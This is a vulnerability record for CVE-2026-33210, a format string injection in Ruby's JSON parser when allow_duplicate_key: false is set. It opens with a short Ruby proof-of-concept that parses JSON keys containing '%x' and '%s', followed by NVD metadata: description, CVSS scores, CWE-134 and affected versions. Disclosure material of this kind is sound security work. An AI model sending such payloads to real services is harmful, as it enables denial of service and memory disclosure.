CVE-2026-33210

require 'json' # Demonstration of the format string injection vulnerability # Triggered by using allow_duplicate_key: false with malicious keys # Malicious payload containing format string specifiers # Keys like '%x' or '%s' can cause the parser to crash or leak memory malicious_json = '{"%x": "value1", "%s": "value2"}' puts "Attempting to parse malicious JSON..." begin # The vulnerability is triggered specifically when this option is enabled parsed_data = JSON.parse(malicious_json, { allow_duplicate_key: false }) puts "Parsing successful (vulnerable system may have crashed or leaked data):" puts parsed_data rescue ArgumentError => e puts "ArgumentError caught: #{e.message}" rescue => e puts "Unexpected error: #{e.class} - #{e.message}" end

{"cve": {"id": "CVE-2026-33210", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:46.010", "lastModified": "2026-03-27T21:25:30.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ruby JSON is a JSON implementation for Ruby. From version 2.14.0 to before versions 2.15.2.1, 2.17.1.2, and 2.19.2, a format string injection vulnerability can lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents. This issue has been patched in versions 2.15.2.1, 2.17.1.2, and 2.19.2."}, {"lang": "es", "value": "Ruby JSON es una implementación de JSON para Ruby. Desde la versión 2.14.0 hasta antes de las versiones 2.15.2.1, 2.17.1.2 y 2.19.2, una vulnerabilidad de inyección de cadena de formato puede llevar a ataques de denegación de servicio o revelación de información, cuando la opción de análisis allow_duplicate_key: false se utiliza para analizar documentos proporcionados por el usuario. Este problema ha sido parcheado en las versiones 2.15.2.1, 2.17.1.2 y 2.19.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:json:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "2.14.0", "versionEndExcluding": "2.15.2.1", "matchCriteriaId": "3F2AC3C1-58ED-41B9-B126-0FF2E3D8CAC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:json:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "2.16.0", "versionEndExcluding": "2.17.1.2", "matchCriteriaId": "D822BD02-FB8E-41D7-BD9A-2A166B343A81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:json:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "2.18.0", "versionEndExcluding": "2.19.2", "matchCriteriaId": "C264EF03-AD00-430B-BAD6-85D5F56787CF"}]}]}], "references": [{"url": "https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}